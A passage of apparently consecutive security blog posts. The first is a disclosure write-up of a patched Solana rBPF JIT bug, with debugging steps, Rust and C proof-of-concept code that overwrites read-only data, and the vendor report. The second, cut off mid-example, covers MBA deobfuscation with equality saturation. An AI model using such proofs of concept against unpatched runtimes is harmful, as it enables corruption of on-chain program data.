fn dump_insns<E: UserDefinedError, I: InstructionMeter>(executable: &Executable<E, I>) {
    let analysis = Analysis::from_executable(executable);
    // eprint!("Using the following disassembly");
    analysis.disassemble(&mut std::io::stdout()).unwrap();
}

fn main() {
    let config = Config::default();
    let mut code = BpfCode::default();
    let mut jit_mem = Vec::new();
    let mut bpf_functions = BTreeMap::new();
    register_bpf_function(&mut bpf_functions, 0, "entrypoint", false).unwrap();
    code
        .load(MemSize::DoubleWord).set_dst(9).push()
        .load(MemSize::Word).set_imm(1).push()
        .store_x(MemSize::HalfWord).set_dst(9).set_off(0).set_src(0).push()
        .exit().push();
    let mut prog = code.into_bytes();
    assert!(check(prog, &config).is_ok());
    let mut executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(prog, None, config, SyscallRegistry::default(), bpf_functions).unwrap();
    assert!(Executable::jit_compile(&mut executable).is_ok());
    dump_insns(&executable);
    let mut jit_vm = EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], &mut jit_mem).unwrap();
    let mut jit_meter = TestInstructionMeter { remaining: 1 << 16 };
    let jit_res = jit_vm.execute_program_jit(&mut jit_meter);
    if let Ok(_) = jit_res {
        eprintln!("{} => {:?} ({:?})", 0, jit_res, &jit_mem);
    }
}

This just sets up and executes the following BPF assembly:

entrypoint:
    lddw r9, 0x100000000
    stxh [r9+0x0], r0
    exit

This assembly simply writes a 0 to 0x100000000.

For the next part: please, for the love of god, use GEF.

$ cargo +stable build --example oob-write
$ gdb ./target/debug/examples/oob-write
gef➤  break src/vm.rs:1061 # after the JIT'd code is prepared
gef➤  run
gef➤  print self.executable.ro_section.buf.ptr.pointer 
gef➤  awatch *$1 # break if we modify the readonly section
gef➤  record full # set up for reverse execution
gef➤  continue

After that last continue, we effectively execute until we hit the write access to our read-only section. Additionally, we can step backwards in the program until we find our faulty behaviour.

The watched memory is written to as a result of this X86 store instruction (as a reminder, we this is the branch for stxh). Seeing this emit_address_translation call above it, we can determine that that function likely handles the address translation and readonly checks.

Further inspection shows that emit_address_translation actually emits a call to… something:

emit_call(jit, TARGET_PC_TRANSLATE_MEMORY_ADDRESS + len.trailing_zeros() as usize + 4 * (access_type as usize))?;

Okay, so this is some kind of global offset for this JIT program to translate the memory address. By searching for TARGET_PC_TRANSLATE_MEMORY_ADDRESS elsewhere in the program, we find a loop which initialises different kinds of memory translations.

Scrolling through this, we find our access check:

X86Instruction::cmp_immediate(OperandSize::S8, RAX, 0, Some(X86IndirectAccess::Offset(25))).emit(self)?; // region.is_writable == 0

Okay – so the x86 cmp instruction to find is one that uses a destination of [rax+0x19]. A couple rsi later to find such an instruction and we find:

cmp    DWORD PTR [rax+0x19], 0x0

Which is, notably, not using an 8-bit operand as the cmp_immediate call suggests. So what’s going on here?

x86 cmp operand size woes

Here is the definition of X86Instruction::cmp_immediate:

pub fn cmp_immediate(
    size: OperandSize,
    destination: u8,
    immediate: i64,
    indirect: Option<X86IndirectAccess>,
) -> Self {
    Self {
        size,
        opcode: 0x81,
        first_operand: RDI,
        second_operand: destination,
        immediate_size: OperandSize::S32,
        immediate,
        indirect,
        ..Self::default()
    }
}

This creates an x86 instruction with the opcode 0x81. Inspecting closer and cross-referencing with an x86-64 opcode reference, you can find that opcode 0x81 is only defined for 16-, 32-, and 64-bit register operands. If you want to use an 8-bit register operand, you’ll need to use the 0x80 opcode variant.

This is precisely the patch applied.

A quick side note about testing code with different compilers

This bug actually was a bit weirder than it seems at first. Due to differences in Rust struct padding between versions, at the time that I reported the bug, the difference was spurious in stable release. As a result, it’s quite likely that no one would have noticed the bug until the next Rust release version.

From my report:

It is likely that this bug was not discovered earlier due to inconsistent behaviour between various versions of Rust. During testing, it was found that stable release did not consistently have non-zero field padding where stable debug, nightly debug, and nightly release did.

Proof of concept

Alright, now to create a PoC so that the people inspecting the bug can validate it. Like last time, we’ll create an ELF, along with a few different demonstrations of the effects of the bug. Specifically, we want to demonstrate that read-only values in the BPF target can be modified persistently, as our writes affect the executable and thus all future executions of the JIT program.

value_in_ro.c

This program should fail, as the data to be overwritten should be read-only. It will be executed by howdy.rs.

typedef unsigned char uint8_t;
typedef unsigned long int uint64_t;

extern void log(const char*, uint64_t);

static const char data[] = "howdy";

extern uint64_t entrypoint(const uint8_t *input) {
  log(data, 5);
  char *overwritten = (char *)data;
  overwritten[0] = 'e';
  overwritten[1] = 'v';
  overwritten[2] = 'i';
  overwritten[3] = 'l';
  overwritten[4] = '!';
  log(data, 5);

  return 0;
}
howdy.rs

This program loads the compiled version of value_in_ro.c and attaches a log syscall so that we can see the behaviour internally. I confirmed that this syscall did not affect the runtime behaviour.

use std::collections::BTreeMap;
use std::fs::File;
use std::io::Read;
use solana_rbpf::{
    elf::Executable,
    insn_builder::{
        BpfCode,
        Instruction,
        IntoBytes,
        MemSize,
    },
    user_error::UserError,
    verifier::check,
    vm::{Config, EbpfVm, SyscallRegistry, TestInstructionMeter},
};
use solana_rbpf::elf::register_bpf_function;
use solana_rbpf::error::UserDefinedError;
use solana_rbpf::static_analysis::Analysis;
use solana_rbpf::vm::{InstructionMeter, SyscallObject};

fn main() {
    let config = Config {
        enable_instruction_tracing: true,
        ..Config::default()
    };
    let mut jit_mem = vec![0; 32];
    let mut elf = Vec::new();
    File::open("tests/elfs/value_in_ro.so").unwrap().read_to_end(&mut elf);
    let mut syscalls = SyscallRegistry::default();
    syscalls.register_syscall_by_name(b"log", solana_rbpf::syscalls::BpfSyscallString::call);
    let mut executable = Executable::<UserError, TestInstructionMeter>::from_elf(&elf, Some(check), config, syscalls).unwrap();
    assert!(Executable::jit_compile(&mut executable).is_ok());
    for _ in 0..4 {
        let jit_res = {
            let mut jit_vm = EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], &mut jit_mem).unwrap();
            let mut jit_meter = TestInstructionMeter { remaining: 1 << 18 };
            let res = jit_vm.execute_program_jit(&mut jit_meter);
            res
        };
        eprintln!("{} => {:?}", 1, jit_res);
    }
}

This program, when executed, has the following output:

howdy
evil!
evil!
evil!
evil!
evil!
evil!
evil!

These first two files demonstrate the ability to overwrite the readonly data present in binaries persistently. Notice that we actually execute the JIT’d code multiple times, yet our changes to the value in data are persistent.

Implications

Suppose that there was a faulty offset or a user-controlled offset present in a BPF-based on-chain program. A malicious user could modify the readonly data of the program to replace certain contexts. In the best case scenario, this might lead to DoS of the program. In the worst case, this could lead to the replacement of fund amounts, of wallet addresses, etc.

Reporting

Having assembled my proof-of-concepts, my implications, and so on, I sent in the following report to Solana on February 4th:

Report for bug 2 as submitted to Solana

An incorrectly sized memory operand emitted by src/jit.rs:1490 may lead to .rodata section corruption due to an incorrect is_writable check. The cmp emitted is cmp DWORD PTR [rax+0x19], 0x0. As a result, when the uninitialised data present in the field padding of MemoryRegion is non-zero, the comparison will fail and assume that the section is writable. The data which is overwritten is persistent during the lifetime of the Executable instance as the data overwritten is in Executable.ro_section and thus affects future executions of the program without recompilation.

It is likely that this bug was not discovered earlier due to inconsistent behaviour between various versions of Rust. During testing, it was found that stable release did not consistently have non-zero field padding where stable debug, nightly debug, and nightly release did.

The first attack scenario where this vulnerability may be leveraged is in corruption of believed read-only data; see value_in_ro.{c,so} (intended to be placed within tests/elfs/) as an example of this behaviour. The example provided is contrived, but in scenarios where BPF programs do not correctly sanitise offsets in input, it may be possible for remote attackers to craft payloads which corrupt data within the .rodata section and thus replace secrets, operational data, etc. In the worst case, this may include replacement of critical data such as fixed wallet addresses for the lifetime of the Executable instance, which may be many executions. To test this behaviour, refer to howdy.rs (intended to be placed within examples/). If you find that corruption behaviour does not appear, try using a different optimisation level or compiler.

The second attack scenario is in corruption of BPF source code, which poisons future analysis and compilation. In the worst case (which is probably not a valid scenario), if the Executable is erroneously JIT compiled a second time after being executed in JIT once, the JIT compilation may emit unchecked BPF instructions as the verifier used in from_elf/from_text_bytes is not used per-compilation. Analysis and tracing is similarly corrupted, which may be leveraged to obscure or misrepresent the instructions which were previously executed. An example of the latter is provided in analysis-corruption.rs (intended to be placed within examples/). If you find that corruption behaviour does not appear, try using a different optimisation level or compiler.

While this vulnerability is largely uncategorised by the security policy provided, due to the possibility of the corruption of believed read-only data, I propose that this vulnerability be categorised under Other Attacks or Safety Violations.

value_in_ro.c (.so available upon request)
typedef unsigned char uint8_t;
typedef unsigned long int uint64_t;

extern void log(const char*, uint64_t);

static const char data[] = "howdy";

extern uint64_t entrypoint(const uint8_t *input) {
  log(data, 5);
  char *overwritten = (char *)data;
  overwritten[0] = 'e';
  overwritten[1] = 'v';
  overwritten[2] = 'i';
  overwritten[3] = 'l';
  overwritten[4] = '!';
  log(data, 5);

  return 0;
}
analysis-corruption.rs
use std::collections::BTreeMap;

use solana_rbpf::elf::Executable;
use solana_rbpf::elf::register_bpf_function;
use solana_rbpf::insn_builder::BpfCode;
use solana_rbpf::insn_builder::Instruction;
use solana_rbpf::insn_builder::IntoBytes;
use solana_rbpf::insn_builder::MemSize;
use solana_rbpf::static_analysis::Analysis;
use solana_rbpf::user_error::UserError;
use solana_rbpf::verifier::check;
use solana_rbpf::vm::Config;
use solana_rbpf::vm::EbpfVm;
use solana_rbpf::vm::SyscallRegistry;
use solana_rbpf::vm::TestInstructionMeter;

fn main() {
    let config = Config {
        enable_instruction_tracing: true,
        ..Config::default()
    };
    let mut jit_mem = vec![0; 32];
    let mut bpf_functions = BTreeMap::new();
    register_bpf_function(&mut bpf_functions, 0, "entrypoint", true).unwrap();
    let mut code = BpfCode::default();
    code
        .load(MemSize::DoubleWord).set_dst(0).set_imm(0).push()
        .load(MemSize::Word).set_imm(1).push()
        .store(MemSize::DoubleWord).set_dst(0).set_off(0).set_imm(0).push()
        .exit().push();
    let prog = code.into_bytes();
    assert!(check(prog, &config).is_ok());
    let mut executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(prog, None, config, SyscallRegistry::default(), bpf_functions).unwrap();
    assert!(Executable::jit_compile(&mut executable).is_ok());
    let jit_res = {
        let mut jit_vm = EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], &mut jit_mem).unwrap();
        let mut jit_meter = TestInstructionMeter { remaining: 1 << 18 };
        let res = jit_vm.execute_program_jit(&mut jit_meter);
        let jit_tracer = jit_vm.get_tracer();
        let analysis = Analysis::from_executable(&executable);
        let stderr = std::io::stderr();
        jit_tracer.write(&mut stderr.lock(), &analysis).unwrap();
        res
    };
    eprintln!("{} => {:?}", 1, jit_res);
}
howdy.rs
use std::fs::File;
use std::io::Read;

use solana_rbpf::elf::Executable;
use solana_rbpf::user_error::UserError;
use solana_rbpf::verifier::check;
use solana_rbpf::vm::Config;
use solana_rbpf::vm::EbpfVm;
use solana_rbpf::vm::SyscallObject;
use solana_rbpf::vm::SyscallRegistry;
use solana_rbpf::vm::TestInstructionMeter;

fn main() {
    let config = Config {
        enable_instruction_tracing: true,
        ..Config::default()
    };
    let mut jit_mem = vec![0; 32];
    let mut elf = Vec::new();
    File::open("tests/elfs/value_in_ro.so").unwrap().read_to_end(&mut elf).unwrap();
    let mut syscalls = SyscallRegistry::default();
    syscalls.register_syscall_by_name(b"log", solana_rbpf::syscalls::BpfSyscallString::call).unwrap();
    let mut executable = Executable::<UserError, TestInstructionMeter>::from_elf(&elf, Some(check), config, syscalls).unwrap();
    assert!(Executable::jit_compile(&mut executable).is_ok());
    for _ in 0..4 {
        let jit_res = {
            let mut jit_vm = EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], &mut jit_mem).unwrap();
            let mut jit_meter = TestInstructionMeter { remaining: 1 << 18 };
            let res = jit_vm.execute_program_jit(&mut jit_meter);
            res
        };
        eprintln!("{} => {:?}", 1, jit_res);
    }
}

The bug was patched in a mere 4 hours.

Solana classified this bug as a Denial-of-Service (Non-RPC) and awarded $100k. I disagreed strongly with this classification, but Solana said that due to the low likelihood of the exploitation of this bug (requiring a vulnerability in the on-chain program) they would offer $100k instead of the originally suggested $1m or $400k. They would not move on this point.

However, I would offer that (was that the actually basis for bug classification) that they should update their Security Policy to reflect that meaning. It was obviously very disappointing to hear that they would not be offering the bounty I expected given the classification categories provided.

Okay, so what’d you do with the money??

It would be bad form of me to not explain the incredible flexibility shown by Solana in terms of how they handled my payout. I intended to donate the funds to the Texas A&M Cybersecurity Club, at which I gained a lot of the skills necessary to perform this research and these exploits, and Solana was very willing to sidestep their listed policy and donate the funds directly in USD rather than making me handle the tokens on my own, which would have dramatically affected how much I could have donated due to tax. So, despite my concerns regarding their policy, I was very pleased with their willingness to accommodate my wishes with the bounty payout.

Improving MBA Deobfuscation using Equality Saturation

8 August 2022 at 23:00

This blog post will first give a brief overview of obfuscation based on Mixed-Boolean-Arithmetic (MBA), how it has historically been attacked and what are the known limitations. The main focus will then shift to an extension of the oracle-based synthesis approach, detailing how combining program synthesis with the equality saturation technique produces significantly more simplification opportunities. Finally, a set of examples spanning from different MBA categories over unsolved limitations up to future work ideas will hopefully serve as food for thoughts to the reader. Across the post, references to existing research are provided to delve into additional details and deepen the understanding of the topics.

Mixed-Boolean-Arithmetic Obfuscation

Mixed-Boolean-Arithmetic Obfuscation is a technique which represents an expression to be concealed in a semantically equivalent, but syntactically more complex form. For example, the expression x + y, can be rewritten as (x ^ y) + 2 * (x & y), effectively making its behaviour harder to comprehend.

Commonly, such MBAs can be found in advanced malware samples and real-world DRM systems, belonging to the strongest-known code obfuscation techniques. However, in recent years, various attacks have been developed; the next section will provide a brief overview of their strengths and limitations.

Common Attacks and Shortcomings

Several attacks have been published since the release of the original papers on Mixed-Boolean-Arithmetic Obfuscation 1, 2. While initial tools, like SSPAM, simplified MBAs via pattern matching, more sophisticated approaches rely on algebraic simplifications, machine learning or program synthesis. As of late, some methods also cleverly abuse intrinsic properties of certain sub-classes of MBAs.

Algebraic Attacks

Arybo makes use of the bit-blasting technique to convert a word-level expression into a bit-level representation—where each bit of the output is independently computed—and proceeds with applying boolean algebraic simplifications to obtain a shrinked version of the input expression. While extremely powerful, the idea falls short when the bit-blasting step has to handle big symbolic multiplications. Another issue is related to the fact that a human analyst may expect an easier-to-read word-level expression as output, while this may not be the case when processing instruction sequences with non-trivial semantics.

Worth mentioning are the ad-hoc algebraic attacks on the permutation polynomial MBA expressions devised by Ninon Eyrolles 3 and Biondi et al. 4. While attractive, the scope of both approaches is limited to the deobfuscation of a constant and is strongly dependent on the MBA generation process.

Stochastic Program Synthesis

Approaches like Stoke, Syntia and its extension Xyntia are based on methods which are known as stochastic program synthesis: They handle the expression simplification as a stochastic optimization problem. Their idea is to represent the obfuscated program as a vector of I/O pairs and learn an expression which has the same I/O behaviour. To achieve this, these approaches use a grammar to generate and mutate small expressions and combine this with a cost function which guides the search towards expressions with the same behaviour.

While stochastic synthesis works well to simplify semantically easy expressions, it has a hard time in finding more complex ones. Since these approaches also cannot simplify sub-expressions in an MBA, they are not successful in some of the semantically more complex cases that can be found in the wild.

Synthesis-based Expression Simplification

As a consequence, new methods have been introduced which re-use some program synthesis concepts, while also being able to simplify partial expressions. These methods can be described as synthesis-based expression simplification and have been introduced by Robin David et al. as QSynthesis. The open source projects QSynthesis and msynth are representatives of this technique.

Once a symbolic execution of the MBA is performed, the techniques represent the MBA as an abstract syntax tree (AST). Then, using a precomputed database (so-called oracle) which maps I/O behaviours to expressions, a divide-and-conquer strategy is adopted: The I/O behaviour of each sub-expression is evaluated and, when possible, sub-expressions are replaced by shorter representations from the database.

These approaches are the most generic to date. However, processing a unique representation of the MBA expression, they often miss synthesis opportunities that would otherwise lead to better results. A common example are sub-expressions that, if combined, would cancel out, but are too far away in the AST to be discovered by the technique.

Drill&Join

Drill&Join is a lesser known approach which strives to achieve exact inductive program synthesis of Boolean expressions. It has been repurposed by Biondi et al. to weaken opaque predicates protected via MBA obfuscation.

As with Arybo, the attack is particularly suitable if the expression needs to be processed by an SMT solver; however, also in this case, a bit-level output may not be appealing to a human analyst. Another major limitation mentioned in the paper is related to the improper support for expressions behaving as a point function (e.g. mathematical functions that show a certain behaviour for exactly one specific input).

MBA-Blast

MBA-Blast, and soon after MBA-Solver, provided the community with the first fully algebraic attack abusing properties of the main theorem to build linear MBA expressions. The authors devised a process to normalize the input MBA expression and are able to shrink them via basic algebraic simplifications.

The approach, while in its infancy, proved how reusing knowledge of the problem can be extremely effective; extensions to it are to be expected. The major limitation is to be found in the lack of support of expressions that cannot be trivially converted from word-level to bit-level, such as non-linear or polynomial MBAs.

Souper

Souper is a synthesizing superoptimizer for LLVM-IR that provides an implementation of exhaustive synthesis and CounterExample-Guided Inductive Synthesis (CEGIS). Worth noting are the attempts to synthesize big constants either via harvesting from the original expression or employing the CEGIS component to materialize them. Its current major limitation is the scalability on semantically complex instruction sequences.

NeuReduce

NeuReduce is a string-to-string method based on neural networks to automatically learn and reduce complex MBA expressions. A strong limitation of the approach is its inability to generalize to MBA expressions which are built using rewriting rules not part of the training set. In real-world scenarios, the used rewriting rules would also be hard to collect.

QSynthesis Limitations and Improvements

In the remaining parts of this post, we’ll delve into known QSynthesis limitations and explore ways to tackle them. We will especially take advantage of the fact that, having full access to the AST of the expression, enables the combination of information coming from both the syntactical and semantical worlds. Hence, the expression to simplify is assumed to be available to the attacker in the form of an assembly or intermediate representation.

QSynthesis Example

The following images, adapted from the original publication, exemplify the step-by-step exploration and synthesis procedure used by QSynthesis. Even though the updated version presented at Black Hat 2021 provides an improved exploration strategy, the main simplification steps are the same and their understanding is fundamental to grasp further extensions.

In the offline phase of the attack, the so-called oracle is computed using a grammar with simple constants, symbolic variables and n-ary operations:

  1. A set of M concrete values associated to the symbolic variables is randomly generated;
  2. Expressions of increasing complexity are obtained from the grammar, their I/O behaviour is calculated and the output vector, of size N, is mapped to an hash;
  3. Each hash and expression tuple is saved in the oracle, preserving the smallest expression in case a collision is found (e.g. the expressions A, A & A, A | A are equivalent).

The explanation of the online phase of the attack, assuming the availability of the precomputed oracle, follows. Furthermore, a top-down bottom-up placeholder-based exploration strategy is assumed to be driving the identification of the synthesizable sub-expressions.

In the next image, the sub-tree highlighted in red is deemed synthesizable by the oracle and associated to the smaller expression (A + B). An intermediate variable (V1) is created and substituted in the AST in place of all the sub-trees identical to the one that just got synthesized.

QSynthesis 0

In the left image, the now updated AST—with the placeholder nodes highlighted in blue—turns also out to be synthesizable, matching the behaviour of the smaller expression (A ^ V1). Once again, an intermediate variable (V2) is created and replaced in the AST. The right image shows the updated AST, which cannot be simplified any further.

QSynthesis 1 QSynthesis 2

The following images represent the intermediate variables (V1, V2) generated after a successful sub-tree synthesis and their simplified expansions, highlighted in green.

QSynthesis 3 QSynthesis 4

Starting from the fully updated AST—just containing the V2 node—we can expand the intermediate variables in reverse order, obtaining the fully synthesized AST depicted below.

QSynthesis 5

The official publications explain the two phases in greater details, so we highly suggest checking them out to gather a better understanding of the idea.

Locality Issues

The reliance on a unique syntactical representation of the input expression raises some less documented—but nonetheless important—shortcomings, which are here referred to as locality issues. For example, when an expression contains a large chain of additions, it may happen that the AST exploration algorithm completely misses valid synthesis opportunities, as some useful nodes are too far apart in the tree. Unluckily, the problem is not limited to addition chains; in fact, all operations with commutativity and associativity properties are affected.

This limitation becomes more apparent when handling MBAs where the terms replaced by more complex linear combinations are interleaved with each other or when a polynomial encoding is involved, scattering related nodes all over the obfuscated expression.

For example, consider the AST of the following expression (5*(A ^ B)) + (A & B), where the red/blue nodes represent the left/right addition operands.

AST 0

After applying the rewriting rules (x^y) = (~x|y)+(x&~y)-~(x^y) and (x&y) = (x|y)-(~x&y)-(x&~y), we obtain the following updated AST, which is easily handled by QSynthesis. In fact, the strictly related sub-trees—of the same colour—are locally next to each other, readily synthesizable by the oracle. The red/blue nodes now represent the obfuscated left/right addition operands, while the white nodes represent a chain of additions.

AST 1

Shuffling the terms which are part of the chain of additions, we reduce the synthesis opportunities, hindering the QSynthesis exploration algorithm to produce the best solution; in the end, we obtain only a partial simplification. This is due to the fact that now the strictly related sub-trees are not in local vicinity anymore.

AST 2

Constants Support

The original publication ignored the problem of synthesizing constants altogether and the idea of deriving them with an SMT solver was deemed too time consuming. However, the updated version mentions how some concrete values can be obtained preprocessing the expression with SymPy or by inserting simple constants during the oracle generation process.

The current open-source implementation details the possibility to synthesize nodes yielding a single constant; even though, the authors do not elaborate any further on the improvements due to the inclusion of concrete values in the database.

Attacks Combination

Some of the attacks mentioned in the previous chapter are orthogonal to QSynthesis, meaning that existing research can be successfully combined without loss of generality:

  • MBA-Blast can be used to simplify linear sub-expressions before proceeding with the oracle-based synthesis, enabling better support to non-linear or polynomial MBAs;
  • CEGIS can be used to synthesize sub-expressions that do not match the precomputed oracle and may possibly contain constants.

Before describing how another technique from the program analysis world, namely Equality Saturation, paves the way to even more powerful attacks, we demonstrate what a combined approach for constant synthesis may look like.

Templated Constants Synthesis

What follows is an attempt at combining oracle-based synthesis and CEGIS to increase the chance of simplifying a sub-expression involving constants.

As previously mentioned, Souper relies on CEGIS to infer valid concrete values: It generates a templated query containing symbolic placeholders where the constants should fit and proceeds with asking for a solution to the SMT solver. Therefore, we need to obtain the same template using our only source of information: the observed I/O behaviour. The idea has been divided in an offline phase, taking place just once, and an online phase, taking place every time a sub-expression does not match the main oracle.

Offline phase:

  1. An ad-hoc oracle of size 8 bits, involving three variables and two constants in the range [0-255] is computed;
  2. Expressions evaluating to the same oracle key are filtered to remove semantical duplicates and added to the same bucket;
  3. The constants in the entries are replaced by symbolic placeholders and remaining duplicates are removed;
  4. The entries in each bucket, now referred to as templates, are saved in ascending size order.

Online phase:

  1. The I/O behavior of the sub-expression is truncated to 8 bits to compute a new oracle key used to query the ad-hoc oracle;
  2. If a match is found, the list of templates in the bucket is iterated and used to query the SMT solver attempting to derive full bitwidth constants;
  3. In case of success, the symbolic placeholder(s) in the candidate template are replaced by the constant(s) and the node is considered to be synthesized.

The high-level idea is to drive a full bitwidth sub-expression synthesis with truncated bitwidth behaviours. As expected, limitations arise when the behaviours are not representative enough, leading to the iteration of hundred of possibly invalid templates.

A New Ingredient: Equality Saturation

Equality saturation is an optimization technique proposed by Tate et al. in 2009, and it relies on the e-graph data structure designed by Gregory Nelson in his PhD thesis in 1980. Recently, Willsey et al. released an improved equality saturation implementation called egg, whose resources have been used as a base for this proof of concept.

Historically, it has been used as a first-class synthesis technique, enabling improvements in projects involving: 3D CAD programs, floating point or algebra expressions. In this post, we will see how also MBA expressions can be dramatically simplified, if we combine equality saturation with oracle-based synthesis.

Building Blocks

From an implementation perspective, an e-graph is a data structure used to represent a congruence relation over a set of expressions. It is made of equivalence classes (e-classes), which, in turn, contain equivalent nodes (e-nodes). Some similarities can be found between an AST node and an e-node; in fact, each e-node represents an operator or a value. However, its children, when present, are references to e-classes and not to other e-nodes. Each e-node is unique; if some sub-expressions of an AST are identical, they will end up being the same e-node. This guarantees a compact and efficient representation.

The following image depicts a simple e-graph populated with the expression (A * B) + (A * C).

Step 0

  • The circles (e0 to e5) represent the e-classes, which, in the initial state of the e-graph, have a unique edge connected to the single e-node part of an equivalence class. Additional edges from e-classes to e-nodes will be added once new equalities are discovered.
  • The rectangles (ADD, MUL, A, B, C) represent the e-nodes, which can be divided in values (A, B, C) and operators (ADD, MUL). Each child of an operator is connected to an e-class by an edge.
  • The A value, appearing twice in the expression, has been converted into a single e-node part of a single e-class (e1), following the aforementioned compact representation.
  • The e5 e-class can referred to as the head of the e-graph, effectively representing the topmost node in the expression’s AST.

An in-depth explanation about the inner workings of equality saturation and the e-graph structure can be found in the egg’s official documentation.

Why Do We Need Equality Saturation?

At this point, the careful reader may have guessed that the main goal, for MBA deobfuscation, would be for us to have the possibility to explore a large number—potentially hundred of thousands—of equivalent representations of the input expression and be able to locate the one best suiting the oracle-based synthesis attack. Thankfully, an e-graph will let us represent a huge number of semantical equivalence relations between syntactically different expressions.

Equality saturation can add information to an e-graph using a technique called term-rewriting. The process consists in syntactically matching parts of an expression and transforming them into equivalent ones. This is usually achieved in two steps: the matching and rewriting phase. The matching phase, that uses pattern matching to identify sub-expressions for which equivalent representations are known; the rewriting phase, that generates new representations for the matched sub-expressions.

Unluckily, term-rewriting is by design a destructive technique, as any information about the original expression is lost as soon as the rewrite to the new expression is done. This raises issues if multiple rewrites are possible for the same matched sub-expression, as only one of those must be selected to proceed. Projects like SSPAM or LLVM’s peephole optimizer rely on heuristics to find the best rewriting candidate, minimizing some cost function. However, this opens the door to another problem, known as phase-ordering; this problem deals with the question of what happens when applying some rewrites in different orders. Given the rewriting rules R0 and R1, it could be that applying R0 before R1 leads to a worse result compared to applying R1 before R0; there’s no easy way to solve the problem (in fact, this problem is NP-complete).

The ideal solution would be able to apply all possible rewrites at the same time, preserving the intermediate equivalent representations of the starting expression and deciding at the end which candidate is the best. No need to look any further, as this is exactly what equality saturation does.

Cost Computation and Candidate Extraction

The last part of the equality saturation process consists in the cost computation and extraction of the best representation of the input expression. As for the stochastic synthesis, the cost computation plays an important role in driving the selection of the useful candidate sub-expressions. Depending on the goal, the cost function could be prioritizing the selection of smaller or faster nodes, even though—for the rest of the post—the logic will be to select the smallest AST nodes, basically optimizing towards shorter expressions. Once the costs have been computed, the extraction phase visits the needed e-classes in the e-graph, selecting the best possible representation of the input expression.

As a bonus, computing the cost after each iteration gives visibility on the quality of the process; if the e-graph grows at a too fast pace, computing the costs offers an opportunity to extract the best candidate expression and start a new equality saturation from scratch. This is usually referred to as a full e-graph reset.

Equality Saturation Example

The images below represent a step-by-step equality saturation execution applied to the expression (B + A) - B, in an attempt to simplify it. A and B are names given to complex sub-expressions that cannot be synthesized. The following rewriting rules are being applied at each iteration:

  • (x + (-x)) => 0
  • (x + y) => (y + x)
  • (x - y) => (x + (-y))
  • (x + (y + z)) => ((x + y) + z)

This is the state of the e-graph right after the insertion of the expression to process.

Step 0

These are intermediate states of the e-graph where all the rules have been applied against the e-nodes present in the previous state of the e-graph, leading to the addition of new equalities. On the left image we can observe how the e-class e2 is representing the equivalence between the expressions (B + A) and (A + B), thanks to the second rule, and how the e-class e6 is representing the equivalence between the expressions (B + A) - B, (A + B) - B, (B + A) + (-B) and (A + B) + (-B), thanks to the combination of the second and third rules. On the right image we can instead observe how the e6 e-class turned into the e7 e-class with the addition of the equivalent representations (-B) + (B + A) and (-B) + (A + B), again thanks to the second rule.

Step 1 Step 2

This can be considered the final state of the e-graph, even though it isn’t fully saturated (no more rewrites are possible), as it provides enough knowledge for the program synthesis to be fully effective on the input expression.

Step 3

In the final step, the e-classes and e-nodes which are part of the simplified expression (0 + A) are highlighted. As expected, an e-class (e8) represents the knowledge that ((-B) + B) is equivalent to 0.

QSynthesis Extension

In the upcoming paragraphs, we take advantage of the equality saturation properties to overcome the MBA deobfuscation limitations highlighted in the previous section. First, we focus on increasing the synthesis opportunities. After attempting to extend the support to the constants synthesis, we finally repurpose the runtime information to enhance the saturation loop.

Expression Morphing

As learned thus far, the input expression may not be in the most amenable form to guarantee good synthesis opportunities; therefore, it is important to find a way to morph it accordingly and make sure its semantical correctness is preserved.

Relying on equality saturation, the expression can be inserted in an e-graph and transformed to obtain an increasing amount of syntactically different but semantically equivalent representations, with the hope that at least one of them will be more synthesizable than it originally was. The good news is that, given an e-graph preserves all the intermediate information, at any given time the best possible candidate expression can be extracted from the e-graph, meaning that, employing this approach, the obtainable result is never going to be worse compared to avoiding it.

Given the nature of an MBA expression is strongly related to the properties of the involved arithmetic (add, sub, mul, neg) and logical (and, or, xor, not) operations, the minimal set of selected rewriting rules are commutativity, associativity and distributivity. To these, a set of equality and normalization rules have been added (e.g. rewriting neg into not, pushing not to the leaves of the expression). The list of rewriting rules currently employed by the proof of concept can be found in the Appendix.

The following example shows how the application of three rewriting rules (commutativity, associativity and not normalization) turns an expression which cannot be synthesized by an oracle using two variables into one which can be synthesized.

Simplified with a two variables oracle and using three rules
python3 synth.py
eclasses #: 11
Input (cost = 16): (~(((x+y)+(~(((x+y)+x)+y)))+(-z)))
====================================================================================================
eclasses #: 16
Synthesized (cost = 5): ((x+y)+z)
====================================================================================================

Constants Harvesting

Constant synthesis is a well known hard problem, although, using the aforementioned rewriting rules, a set of constants not originally present in the obfuscated expression starts appearing in the e-graph. Obviously, some are generated through the simple negation rules, but others are obtained with the repeated application of a non-trivial combination of rewriting rules that, moving some sub-expressions next to each other, lead to new synthesis opportunities.

As expected, this positive side effect turned out to be insufficient in most cases, so a further attempt to use the new information to improve the synthesis at runtime has been done. After each matching phase, the e-graph is updated with the discovered equalities, making it possible to identify all the e-classes of unit cost representing a constant. At this point the constants can be used to compute a smaller ad-hoc runtime oracle, available from the next synthesis iteration.

During the experiments the runtime oracle has been built with a single operation involving one variable and one constant. Assuming K harvested constants, an oracle with N binary operations and M input samples, K×N×M output samples need to be computed to obtain K×N new oracle entries. The oracle computation time is usually negligible, as the amount of harvested constants is contained compared to the total amount of possible constants in the bitwidth of the input expression.

The following examples show the same obfuscated expression simplified using different options. First, using CEGIS with the support of the constants oracle, which leads to the solution in one iteration. Then, via constants harvesting using the runtime oracle, taking five iterations. Finally, with the default rewriting rules, that in nine iterations lead to a simplified version of the original expression, but not to the best possible representation. Depending on the expression under analysis, the CEGIS option may be overkill and too slow, while standard rewriting rules or constants harvesting could be the right choice.

Simplified via constants oracle (CEGIS)
python3 synth.py --use-constants-oracle
eclasses #: 84
